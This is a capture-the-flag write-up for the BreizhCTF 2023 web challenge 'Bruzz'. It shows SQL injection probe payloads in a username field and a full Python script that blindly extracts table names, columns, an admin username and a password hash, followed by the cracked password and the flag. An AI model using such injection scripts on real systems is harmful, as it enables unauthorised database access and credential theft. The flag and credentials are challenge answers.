Zeecka zeecka

Bruzz

BreizhCTF 2023 - Web

BreizhCTF 2023 - Bruzz

Challenge details

EventChallengeCategoryPointsSolves
BreizhCTF 2023BruzzWeb??????

quizz

In the form of a TV game show set, the game Bruzz! lets you answer many questions spread across the most interesting subject: Brittany!

Author: Zeecka

https://bruzz.ctf.bzh/

TL;DR

The Quizz had a second-order SQL injection, requiring you to first register a player with a username containing the SQL injection, play, then check their score to trigger the injection. Blindly extracting the database allows recovering the credentials of the only administrator and retrieving the flag.

Methodology

home

The “Bruzz” web application lets you answer a multiple-choice Quizz, after first filling in a username. Once the answers are submitted, a message is displayed with the player’s score and the number of times they have been seen on the platform:

same

The various tests on the answer submission yield nothing. Resource discovery with dirsearch or gobuster reveals an administration endpoint /admin, once again not vulnerable.

dirsearch

admin

Injection attempts in the Username, on the other hand, return different results confirming the hypothesis of a SQL injection:

  • Username ' OR '1'='1 sql_true.png

  • Username ' AND '1'='0 sql_false.png

We can therefore confirm that we have a SQL injection across multiple requests (Second order SQL Injection). Writing an exfiltration script allows retrieving the contents of the database:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import random
import string


HOST = "https://bruzz.ctf.bzh/"

s = requests.session()
letters = string.ascii_lowercase + string.ascii_uppercase + string.digits

def get_random_string(length=6):
    # Used for random comment
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

def is_true(inject):
    inject = inject+f" #{get_random_string()}"  # Random comment to avoid same name player
    s.post(f"{HOST}/register", json={"name": inject})  # Play
    rep = s.post(f"{HOST}/quizz", json={"responses": [0, 2, 1, 3]})  # Submit answers
    try:
        nb = int(rep.json()["msg"].split(">")[1].split("<")[0])  # Get players numbers
        return nb > 0
    except:
        return False


for i in range(1, 5):
    r = is_true(f"' OR 1=1 AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' ) = {i}")
    if r:
        print(f"[*] Nombre de tables: {i}")
# 2 tables

table = ""
while len(table) < 15:  # While True
    for l in letters:
        r = is_true(f"' OR 1=1 AND (SELECT table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1) LIKE '{table+l}%'")
        if r:
            table += l
            print(f"[*] Table: {table}", end="\r")
            break
print(f"[*] Table: {table}")
# Table administrateurs

col = ""
while len(col) < 8:  # While True
    for l in letters:
        r = is_true(f"' OR 1=1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = '{table}' LIMIT 1) LIKE '{col+l}%'")
        if r:
            col += l
            print(f"[*] Column: {col}", end="\r")
            break
print(f"[*] Column: {col}")
# Column username

col = ""
while len(col) < 6:  # While True
    for l in letters:
        r = is_true(f"' OR 1=1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = '{table}' LIMIT 1,1) LIKE '{col+l}%'")
        if r:
            col += l
            print(f"[*] Column: {col}", end="\r")
            break
print(f"[*] Column: {col}")
# Column passwd


user = ""
while len(user) < 13:  # While True
    for l in letters+".":
        r = is_true(f"' OR 1=1 AND (SELECT 1 FROM administrateurs WHERE username LIKE '{user+l}%') = 1")
        if r:
            user += l
            print(f"[*] Username: {user}", end="\r")
            break
print(f"[*] Username: {user}")
# Username (julien.lepers)

pwd = ""
while len(pwd) < 40:  # While True
    for l in letters+".":
        r = is_true(f"' OR 1=1 AND (SELECT 1 FROM administrateurs WHERE passwd LIKE '{pwd+l}%') = 1")
        if r:
            pwd += l
            print(f"[*] Password: {pwd}", end="\r")
            break
print(f"[*] Password: {pwd}")
# Password (ff19f7e740cdecdcc4e3bc182b8c9b8d19a7072c)
[*] Nombre de tables: 2
[*] Table: administrateurs
[*] Column: username
[*] Column: passwd
[*] Username: julien.lepers
[*] Password: ff19f7e740cdecdcc4e3bc182b8c9b8d19a7072c

We recovered an administration account, but the password appeared to be hashed. Fortunately, it is easily crackable and available on crackstation.

crackstation

We can now log in to the administration account with the following credentials:

  • Login: julien.lepers
  • Password: ouiouioui

flag

Flag

BZHCTF{BurgerQuizSecondOrder}

Author: Zeecka